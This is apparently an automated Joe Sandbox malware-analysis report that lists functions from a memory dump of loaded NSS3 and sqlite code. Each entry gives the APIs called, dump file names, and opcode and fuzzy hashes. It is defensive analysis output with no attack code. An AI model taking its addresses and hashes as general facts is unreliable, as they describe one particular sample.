PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C621E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C621EAD

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: b560244a94bc6a7d2a56f03270d80806fb26e30f87d9e86560a47d92447ff1f8
Instruction ID: e11bc1db8da10a724abb13289133ac42cf92e1187f81a2614f5848e6b4e9a65e
Opcode Fuzzy Hash: b560244a94bc6a7d2a56f03270d80806fb26e30f87d9e86560a47d92447ff1f8
Instruction Fuzzy Hash: D4212872E0C314A7D7008E68DC41B9BB394DB85328F144638EDA957780E735DD0A8BEA

Function 6C731E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C731E5C

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

PR_Lock.NSS3(00000000), ref: 6C731E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C731EAB
PR_GetCurrentThread.NSS3 ref: 6C731ED0
PR_Unlock.NSS3(?), ref: 6C731EE8

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 6e566a16b8bb7d38c3f359a2893c9f77511d8f2803c601a790dc6193e583168d
Instruction ID: 26fc6267e61aec871dbebf8b9e165f34c2da498cacc95034e863d9b17ceffab5
Opcode Fuzzy Hash: 6e566a16b8bb7d38c3f359a2893c9f77511d8f2803c601a790dc6193e583168d
Instruction Fuzzy Hash: F421FF75B89122ABD700CF29DA40A46B3B8FF45719B259229D8198BB82D732F810CBD5

Function 6C67BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C62E708,00000000,00000000,00000004,00000000), ref: 6C67BE6A

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?), ref: 6C67BE7E

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?,?), ref: 6C67BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEEB

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 6ca8c04088e085d73b798b85fb89bfbb6a125b850444f1b886910213e2586a3f
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: C0112F66B04305A7E7208965AC80F6B73AD9BC1B98F040825FE04C2B52E721D8048BFE

Function 6C62AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C623FFF,00000000,?,?,?,?,?,6C621A1C,00000000,00000000), ref: 6C62ADA7

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C623FFF,00000000,?,?,?,?,?,6C621A1C,00000000,00000000), ref: 6C62ADB4

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C623FFF,?,?,?,?,6C623FFF,00000000,?,?,?,?,?,6C621A1C,00000000), ref: 6C62ADD5

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7494B0,?,?,?,?,?,?,?,?,6C623FFF,00000000,?), ref: 6C62ADEC

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C623FFF), ref: 6C62AE3C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: c3be4660fc774b65ca983d1a34520dd15b90214c3d7a3531306e674ce7c70a5b
Instruction ID: 693575b85f836b54c7f34efb04fcfb07c88b54ea976674490eebd194bb69ec92
Opcode Fuzzy Hash: c3be4660fc774b65ca983d1a34520dd15b90214c3d7a3531306e674ce7c70a5b
Instruction Fuzzy Hash: 81117B71E003081BE7109B649C00BBF73E8DF9224CF00452CEC6596742FB64E95986FE

Function 6C638FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C640710), ref: 6C638FF1
PR_CallOnce.NSS3(6C782158,6C639150,00000000,?,?,?,6C639138,?,6C640710), ref: 6C639029
calloc.MOZGLUE(00000001,00000000,?,?,6C640710), ref: 6C63904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C640710), ref: 6C639066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C640710), ref: 6C639078

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 0052f31a12f04864d8f13ad7f71f24959cb1fee8362949e0a309c738bfa0e1e2
Instruction ID: 878905fd87245350ffbfb222b3d5235dc5b205099e609124fd17a7d6a407f006
Opcode Fuzzy Hash: 0052f31a12f04864d8f13ad7f71f24959cb1fee8362949e0a309c738bfa0e1e2
Instruction Fuzzy Hash: 4311487170613157E72016AD9C04AA632ACEB827ADF502039FD4CC2B41FB1ACD45CBA9

Function 6C64CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C661E10: TlsGetValue.KERNEL32 ref: 6C661E36
Part of subcall function 6C661E10: EnterCriticalSection.KERNEL32(?,?,?,6C63B1EE,2404110F,?,?), ref: 6C661E4B
Part of subcall function 6C661E10: PR_Unlock.NSS3 ref: 6C661E76

free.MOZGLUE(?,6C64D079,00000000,00000001), ref: 6C64CDA5
PK11_FreeSymKey.NSS3(?,6C64D079,00000000,00000001), ref: 6C64CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C64D079,00000000,00000001), ref: 6C64CDCF
DeleteCriticalSection.KERNEL32(?,6C64D079,00000000,00000001), ref: 6C64CDE2
free.MOZGLUE(?), ref: 6C64CDE9

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 057e57f4861b8339e2add28506a887393bb22e417e021d485d66c37a254ef882
Instruction ID: 874269392193576dd4f91edbb821a363fbc37aa2e6fda86ac29ae335e34779e1
Opcode Fuzzy Hash: 057e57f4861b8339e2add28506a887393bb22e417e021d485d66c37a254ef882
Instruction Fuzzy Hash: BD11A3B2B01125BBDF00AF65EC45D96776CBB053597108131E90A87E01E732E428C7E5

Function 6C6B2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B2CEC

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6B2D02
PR_EnterMonitor.NSS3(?), ref: 6C6B2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6B2D42
PR_ExitMonitor.NSS3(?), ref: 6C6B2D5B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 2dc181a12940251ff2581a42434f5a286440a5a5c5196a7db19a0a0498bda2d6
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: F901C8F1A042009BE6319F25FC40BC7B7E1EF4631CF004525E85996710D632F925C79B

Function 6C6B2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B2D9C

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6B2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6B2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6B2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6B2E0B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: a1ce74ce7efae3cb3bbc7001f8194fa578f1aed650908ebe74219746469c34ac
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: B101A5B1A052009BEA309F26FC05BC7B7E1EF4635CF000435E85996B10D632E926879B

Function 6C64AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C633090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C64AE42), ref: 6C6330AA
Part of subcall function 6C633090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6330C7
Part of subcall function 6C633090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6330E5
Part of subcall function 6C633090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C633116
Part of subcall function 6C633090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C63312B
Part of subcall function 6C633090: PK11_DestroyObject.NSS3(?,?), ref: 6C633154
Part of subcall function 6C633090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6299FF,?,?,?,?,?,?,?,?,?,6C622D6B,?), ref: 6C64AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6299FF,?,?,?,?,?,?,?,?,?,6C622D6B,?), ref: 6C64AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C622D6B,?,?,00000000), ref: 6C64AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C622D6B,?,?,00000000), ref: 6C64AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C622D6B,?,?), ref: 6C64AEA3

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 400ca88f7d8538036d05f7f302319d9b49be9e739ae4da92502ae444c3968e34
Instruction ID: d4beca6a824bb1d71d39e8879d8913dc523618c4877198226f96f8f8ed3ae699
Opcode Fuzzy Hash: 400ca88f7d8538036d05f7f302319d9b49be9e739ae4da92502ae444c3968e34
Instruction Fuzzy Hash: 26012866B00020B7E701A12CAC81EEF31988B8765CF08C432E929C7B43F616C90753EF

Function 6C73BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BDC3
free.MOZGLUE(?,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BDE9
free.MOZGLUE(?,00000000,00000000,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BE21
free.MOZGLUE(00000000,00000000,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BE32

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: af336af8b27d992fa21b32f2eae049a667bfbfb1d19a04bae305c6b933b0995b
Instruction ID: 992507be4baaf9dfd8011da84b6a94263ca7a2b50ebca470f8b23a95036c7226
Opcode Fuzzy Hash: af336af8b27d992fa21b32f2eae049a667bfbfb1d19a04bae305c6b933b0995b
Instruction Fuzzy Hash: 391103B5B026249FDF41DF2AD909B023BF9BB4B356B740079E60E8B711E731A414CBA1

Function 6C737C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C737C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737C83
malloc.MOZGLUE(00000001), ref: 6C737C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C737C9F
PR_GetCurrentThread.NSS3 ref: 6C737CAD

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 10e9f9b43910d701b3a3299d988cd8fc1079073a57344f1ebb7b335536f36437
Instruction ID: 6979300b8875cc4a5a56324c41e5711a7760733da204fba30ab615125052ef7e
Opcode Fuzzy Hash: 10e9f9b43910d701b3a3299d988cd8fc1079073a57344f1ebb7b335536f36437
Instruction Fuzzy Hash: 84F0C2F191022AABEB009F3A9E0D997775CEF45269B118436E80DC3B01E731E514CAE9

Function 6C73ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C73A6D8), ref: 6C73AE0D
free.MOZGLUE(?), ref: 6C73AE14
DeleteCriticalSection.KERNEL32(6C73A6D8), ref: 6C73AE36
free.MOZGLUE(?), ref: 6C73AE3D
free.MOZGLUE(00000000,00000000,?,?,6C73A6D8), ref: 6C73AE47

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: b11c3e503ededc1c45ee18d8022a450be449e8dd3f8caf10836766ab1269b052
Instruction ID: 8eb390ff50a930e4da2965586d583c04dbc4ab80b6db0665755be242dd746e51
Opcode Fuzzy Hash: b11c3e503ededc1c45ee18d8022a450be449e8dd3f8caf10836766ab1269b052
Instruction Fuzzy Hash: 9BF0F6B6201A29A7CE01AFA8D80A91777BCBF8A776710033CF12E83981D731E011C7E1

Function 6C5BBCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C75AAF9,?), ref: 6C5BBE37

Strings

Psl, xrefs: 6C5BBED4
winFileSize, xrefs: 6C5BBF07
sl, xrefs: 6C5BBDD7

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: sl$Psl$winFileSize
API String ID: 4246442610-3042326240
Opcode ID: f789c74825c9216062672d2ff40cbb11e99b8f49faf29e807b72b2ed372c460b
Instruction ID: f935569cab3085645f192ad5a790d506e193b0611e0c1054e96c032770cca209
Opcode Fuzzy Hash: f789c74825c9216062672d2ff40cbb11e99b8f49faf29e807b72b2ed372c460b
Instruction Fuzzy Hash: 4061F131B04619DFCB04DF28C8E07A9BBB1FF4A314B144AA5E815ABB50D7B4E856CBD1

Function 6C5C7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5C7D35

Strings

%s at line %d of [%.10s], xrefs: 6C5C7D2E
database corruption, xrefs: 6C5C7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5C7D13, 6C5C7D1F, 6C5C7D47, 6C5C7D53, 6C5C7D5F

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
